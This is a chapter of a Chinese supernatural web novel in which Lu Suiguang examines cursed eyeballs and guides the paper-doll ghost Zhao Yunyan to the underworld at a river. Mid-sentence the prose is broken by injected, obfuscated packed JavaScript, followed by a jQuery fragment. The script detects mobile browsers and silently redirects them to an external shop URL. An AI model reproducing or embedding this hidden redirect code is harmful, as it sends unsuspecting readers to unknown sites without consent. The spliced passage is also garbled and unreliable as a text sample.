文趣网 > 都市小说 > 禁止在午夜进行钓鱼活动 > 10. 第十章
    第10章

    “你要?”陆岁光作势要打开抽屉。

    “不不不,我就是担心那丝线对你有伤害怎么办?”胡大师立刻阻止她的动作,紧张道,“眼睛要是瞎了多可惜。”

    “不会。”陆岁光收回手,自己也觉得面对这种情况有些过于从容了。

    说不定这东西跟她有些渊源。

    赵云衍说:“这珠子这样,那我的那颗会不会也有丝线?”

    它不再藏着掖着,张嘴吐出一颗白色的珠子。

    和那颗珠子不一样,这颗珠子散发着白色的光芒,十分明显,表面也不是灰色,而是隐隐透着黑。

    纸人将珠子递给陆岁光。

    触感温热,光滑柔软,一捏弹性十足。

    一到她手中,那珠子的光立刻消失不见,淡淡的黑也消失,露出了最为明显的瞳孔。

    陆岁光表情有一瞬间的复杂。

    不过这颗眼球并没有红色丝线,要不是眼瞳太过模糊,没有任何神采,看着与活人的眼珠无异。

    “这难不成真是人的眼珠。”赵云衍见状呢喃着,“什么人的眼珠能这么厉害?”

    陆岁光说:“你们拿到珠子的时候就是最开始那样吗?”

    胡大师和赵云衍同时点头。

    也就是说,这一对眼球确实是她接触后才产生的变化。

    陆岁光再次将其用符纸封住,装进另一个盒子里,和第一颗眼珠放在一起。

    胡大师欲言又止。

    一颗珠子都没拿到,痛失百万。

    他正想哭,脑海里浮现陆岁光贴符纸时上面的符箓,努努嘴,讨好一笑。

    “你用的符纸能给我看一下吗?”

    陆岁光拿出一张递给他:“还剩一张,给你。”

    胡大师接过符纸道谢,反应过来她说的话,猛地抬头,眼底满是不可置信:“给我?送我了?真的吗?”

    陆岁光点头,这么一通折腾,她浑身疲惫,四肢也难以抬起,只想好好睡一觉,睡得久一些。

    胡大师道谢收下,他背对着赵云衍,仔细看上面的符箓,确定自己从没看过。

    虽然不知道有什么作用,但看着就厉害。

    胡大师小心翼翼地放好,再次看陆岁光时,目光与一开始完全不同。

    “你是不是那些隐世家族的子弟啊。”

    胡大师对这方面涉及不多,就是听别人提过几嘴,有那种专门处理这方面的家族,一代传一代,比他这种人厉害多了,是他高攀不起的存在。

    陆岁光轻飘飘地问:“什么隐世家族?”

    胡大师觉得她在故意装不知道,隐世家族,肯定要隐藏低调,他懂,于是看向陆岁光的眼神更加钦佩。

    “我知道,我都知道,不用多说。”

    陆岁光第一次感到莫名,注意到胡大师眼底的艳羡与佩服,猜到他绝对脑补了身份,没解释。

    “不过这眼球什么来历?”胡大师摸着下巴,打个响指说,“我之前以为是珠子,就问有没有人要,找我订购的那个买家估计知道这不是寻常珠子,而是眼球,直接开价一百万。”

    “那你不卖给他不怕他找人揍你吗?”赵云衍说。

    胡大师:“不可能,我们还没确定下来他就失踪了,真说起来还是他的问题。”

    “好了。”赵云衍想起自己的事,“珠子也给你们了,没我的事了,我可以下去了。”

    它顿了顿,下意识看向陆岁光:“给我送下去呗。”

    陆岁光目光认真:“我吗?”

    赵云衍傻眼:“不是你吗?”

    陆岁光与纸人对望一眼,同时看向胡大师。

    “哎。”胡大师连忙抬手阻止,“要说超度我或许会一点,送到下面报道我没这个本事啊。”

    他对陆岁光说:“你不会吗?不应该啊,你肯定会。”

    全程都不用陆岁光说话,他自己就完成了一整套自问自答的流程。

    陆岁光:“我应该会吗?”

    胡大师点头:“对啊。”

    陆岁光诚恳至极摇头:“我不会。”

    胡大师:“……”

    他看向赵云衍,爱莫能助:“那你完了,我也不会,你要另请高明了。”

    “我能请谁?等尸体一烧,我再不下去,会直接魂飞魄散。”赵云衍欲哭无泪,一想到那个后果就慌得不行。

    “我不是那种厉害的野鬼,珠子给我也没用了,今天必须得给我送下去。”

    “问我师父,她肯定有办法。”胡大师乐呵呵道。

    “问问问。”赵云衍催促。

    胡大师看向陆岁光。

    陆岁光:“?”

    她挑眉:“我是你师父吗?什么时候成为的?”

    赵云衍:“?”

    他看向胡大师:“你搞什么?你说师父是她吗?她没答应啊。”

    “我自己答应了。”胡大师眼神躲闪,强行给自己打气,“孤独多年,我一直希望有个师父指引我方向,现在决定,就是你了。”

    陆岁光觉得他脑子有问题,脑子有问题的人更加不能成为她的徒弟。

    不然收下这倒霉徒弟后,她偶尔不清醒,而徒弟脑子一直糊涂,两人加一起堪称等死组合。

    “别开玩笑了。”时间越来越紧迫,赵云衍急说,“苦的是我啊,快帮我想办法,不能拿了珠子弃我于不顾啊。”

    “试试吧。”陆岁光沉思片刻,打开抽屉,拿出里面的东西。

    那是几张符纸,看纸张颜色有些年头了,重点又是胡大师没见过的。

    他觉得稀奇,想凑过去仔细看看:“就靠符纸就行吗?”

    “不知道。”陆岁光带好符纸,示意赵云衍跟着自己。

    “去哪里?”赵云衍迷茫。

    “河边。”陆岁光说。

    “从河里走吗?”胡大师问。

    陆岁光一顿,回答得坦然:“我只知道从河里走。”

    胡大师忙摆手解释:“我不是这个意思,我就是第一次知道原来是从河里走的。”

    陆岁光没说话,只是嫌赵云衍走路太慢,直接扣着它的脖子,放在三轮车后座。

    胡大师紧跟着跳进三轮车。

    锁好门,陆岁光开着电动三轮车,两人一纸人顺着夜色再一次来到那条神秘的河。

    晚上十点半,河边空荡无人,只剩一地月光。

    胡大师率先跳下车,顺带把赵云衍扯下来了。

    “你轻点啊。”赵云衍骂骂咧咧,试图站直身体,“真是的,扯我脖子干什么?”

    风吹来,它身体一歪,不受控制地被吹向河

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733133|208989||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    边。

    眼看着就要掉下去了,赵云衍边挣扎,边疯狂呼救:“拉我一把啊。”

    胡大师递出脚,赵云衍有一瞬间嫌弃,最后还是用手抓住了。

    一人一纸人回头就见陆岁光已经在地上画好了东西。

    胡大师按捺不住激动,飞快跑过去观察。

    乍一看像符箓,仔细一看不太像,说复杂又很简单,他尝试了下,磕磕绊绊,就是画不出来一样的。

    陆岁光果然是大佬。

    胡大师心里愈发兴奋。

    一定要想办法让陆岁光收他为徒!抱上这个大腿!

    “这个就行了吗?”赵云衍试图去分辨地上的符箓,发现不行,一看就脑袋眩晕,眼前扭曲,根本承受不了,着急地撇开视线。

    “差不多。”陆岁光拿出带过来的符纸,放下的那一刻,无火自燃,顷刻间燃烧殆尽。

    留下的灰烬分散成符箓的形状,胡大师睁眼看着,手指背在身后,还在试图把地上的符箓复原出来。

    他发现还是不行,一到关键时刻,脑子就像是蒙了什么阴影,迫使他无法进行下去。

    就算勉强画出来,手指抖个不停,依旧失败。

    “哗。”不知道从哪里来的一阵风,阴凉刺骨。

    整个钓鱼地的温度瞬间下降,寒意顺着皮肤钻入四肢百骸。

    胡大师打了个喷嚏。

    一扭头,发现平时病弱咳嗽的陆岁光这个时候倒没什么动静,那张脸虽然苍白,但身影笔直,不受丝毫寒风的影响。

    真是怪了。

    胡大师脑子里关于陆岁光的猜测再次增加许多,他压低声音问:“这是成功了吗?”

    “应该。”

    随着陆岁光话音刚落,赵云衍突然感受到空气中多了一双手,推着它向前走。

    它回过神,没有抗拒那股力量,顺势往前,不忘大喊。

    “别忘了给我烧纸,千万别忘了,不然我在下面穷到只能天天给你们托梦了。”

    “你放心,穷的话没钱托梦。”胡大师笑着说。

    赵云衍哽咽道:“所以你们一定要记得啊,不是说那珠子值钱吗?那么值钱的东西都给你们了,给我随便烧点。”

    “好。”这次回答他的是陆岁光,嗓音沉稳,令人信服,“我不会忘记。”

    随着赵云衍靠近河边,地上的灰烬像是被看不见的东西吞掉,一点点消失,而符箓的痕迹也在消退。

    胡大师这么多年见过的人不少,但送下去的方式第一次见。

    他偷偷瞅了陆岁光无数次,张嘴就想拜师,被陆岁光咳嗽声打断。

    “别说话。”

    胡大师只能听话闭嘴。

    河边陷入死寂,月亮躲在云层后,四周无光,黑得伸手不见五指。

    赵云衍望着前方的河水,闭眼缓缓踏入。

    身体没有湿,反而有种踩在云间飘飘然的轻松感。

    它扭头,还能看见陆岁光与胡大师站在原地。

    似乎察觉到它的视线,陆岁光微微偏头,与它视线交汇在一起。

    赵云衍本想冲她挥手,视线挪动后,抬起的手骤然僵在空中。

    它能看见胡大师的魂魄,白色的,掺杂着一点点淡黄。

    但陆岁光身后空荡干净,什么都没有。